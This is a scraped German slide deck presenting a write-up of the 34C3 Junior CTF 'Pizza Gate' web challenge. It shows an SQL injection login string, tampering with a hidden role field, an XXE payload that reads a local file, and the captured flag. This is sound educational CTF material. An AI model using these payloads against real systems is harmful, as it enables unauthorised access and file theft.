25
Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

  • Upload
    others

  • View
    11

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Pizza GateEin 34C3 Junior CTF Write Up zur Pizza Gate Challenge

Raphael «Peanut» Theiler

Page 2: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Übersicht

• CTF & Pizza Gate Challenge – Was ist das?

• OWASP Top 10

• Walkthrough

• Tools

• Links

Page 3: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

CTF & Pizza Gate Challenge – Was ist das?

• CTF: Capture the flag• Eine Sammlung von Aufgaben (Challenges) zum lösen

• Wettbewerb ( Leaderboard)

• Mit «Hardish», die schwierigste Challenge in der Kategorie «Web»• Tipps: OWASP Top 10

Page 4: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

OWASP Top10

1. Injection2. Broken Authentication3. Sensitive Data Exposure4. XML external entities (XXE)5. Broken Access Control6. Security Misconfiguration7. Cross Site Scripting (XSS)8. Insecure Deserialization9. Using Components with Known Vulnerabilities10. Logging & Monitoring

Page 5: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Geht weiter, hier gibts nichts zu sehen

Page 6: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Der erste Tipp im Kommentar

<!-- TODO move actual index back here when development is done -->

Page 7: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

URL Patterns

Page 8: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Unicode!

Page 9: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Login

Page 10: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Debug output

Page 11: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Alternative

• SQL injection: " or role="admin" or "1"="1

Page 12: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Pizza!

Page 13: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Mehr Pizza!

Page 14: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Kommentar im Source code

• <!--<li><b>Pizza itanimullI</b> - Annuit coeptis - Novus ordo seclorum - 1337€</li>-->

Page 15: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Registrierung

Page 16: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Wieder ein verstecktes Feld

• <input type="hidden" name="role" value="user">

• Invalid value 'admin' for user role. Only 'user' and 'dev' supported.

Page 17: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Wir erstellen uns eine Pizza!

Page 18: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Verschwörungstheorien

Page 19: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Verstecktes Formular

<form role="form" id="form" method="POST">

<input type='hidden' name='csrfmiddlewaretoken'value='oNpTHcki3KZUnjo7dFXq4sdM13rAvqzCSpv78ObjnhJoVAnpCOtkPnRri68QGrXu’ />

<div class="form-group">

<label for="illuminatiname">Name the Illuminato</label>

<input type="text" name="details" class="form-control">

</div>

<div class="form-group">

<label for="video">Video ID proof</label>

<input type="text" class="form-control" id="video" name="video"/>

</div>

<button type="submit" class="btn btn-primary">Annult coeptis</button>

</form>

Page 20: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

XML

<illuminato><details>bla</details><video>blubb</video></illuminato>

Page 21: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

XXE

<?xml version="1.0"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <illuminato>

<video>whocares</video>

<details>%26xxe%3B</details>

</illuminato>

Page 22: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Flag

34C3_congratZ_you_know_owasp_and_are_in_the_illumi4nti

Page 23: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Tools

• Chrome Developer Tools

• Burp

• Fiddler

Page 24: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Links, etc

• Source einzelner Challenges sowie Links zu Write Ups: https://github.com/eboda/34c3ctf

• Pwnable Challenges: https://github.com/tharina/34c3ctf

• Pizza Gate Write Up: https://ctftime.org/writeup/8464 (Ein paar der Printscreens wurden von hier kopiert)

• OWASP Top 10: https://www.owasp.org/index.php/Top_10-2017_Top_10

• Selbst gehostete Kopie der Challenge: http://213.200.202.186:31337(nur vorübergehend erreichbar)

Page 25: Pizza Gate - wiki.luxeria.chpizza_gate.pdf · Pizza Gate Ein 34C3 Junior CTF Write Up zur Pizza Gate Challenge Raphael «Peanut» Theiler

Danke!